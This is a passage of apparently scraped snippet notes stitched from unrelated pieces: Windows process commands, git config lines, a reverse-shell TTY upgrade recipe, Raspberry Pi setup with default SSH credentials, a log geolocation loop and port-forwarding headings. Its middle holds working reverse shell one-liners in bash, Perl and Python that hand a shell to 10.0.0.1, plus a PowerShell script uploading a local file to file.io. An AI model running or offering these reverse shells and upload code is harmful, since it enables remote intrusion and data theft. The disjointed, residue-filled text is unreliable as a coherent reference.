cmd.exe
taskmgr.exe
tasklist
wmic process list full
git config --global color.ui true | |
git config --get color.ui |
####################################################### | |
# Upgrading simple shells to fully interactive TTYs # | |
####################################################### | |
# In reverse shell | |
$ python -c 'import pty; pty.spawn("/bin/bash")' | |
Ctrl-Z | |
# In Kali or elsewhere | |
$ echo $TERM |
# Bash - Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10): | |
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 | |
#PERL - Here’s a shorter, feature-free version of the perl-reverse-shell: | |
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' | |
## There’s also an alternative PERL revere shell here [http://www.plenz.com/reverseshell] | |
# Python - This was tested under Linux / Python 2.7: | |
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
$sourceFilePath = "/etc/apt/archive" | |
$siteAddress = "https://file.io/?expires=1w" | |
$webClient = New-Object System.Net.WebClient | |
$response | |
try { | |
$response = $webClient.UploadFile($siteAddress,$sourceFilePath) | |
} catch { | |
Write-Host $_ | |
} | |
[System.Text.Encoding]::ASCII.GetString($response) |
xzcat ubuntu-19.10.1-preinstalled-server-arm64+raspi3.img.xz | sudo dd of=/dev/disk6 bs=32m`
Boot Raspberry. Headless possibel with Ubuntu image as SSH login enabled by default in image.
$ ssh [email protected]
- test login via ssh (ubuntu/ubuntu)
IP_ADDRESSES=`cat vsftpd.log | grep CONNECT | awk -F':' '{print $7}'|sed 's/\"//'|sort|uniq|tr '\n' ' '` | |
for address in $IP_ADDRESSES; do | |
curl --silent http://api.ipstack.com/${address}?access_key=$IPSTACK_KEY | jq '.city, .country_name, .continent_name'| tr '\n' ','|sed "s/,$//" | |
done |
Examples and links on how to do port forwarding on
iptables
pfctl
(control the packet filter (PF) and NAT device)ssh
Additional topic/link: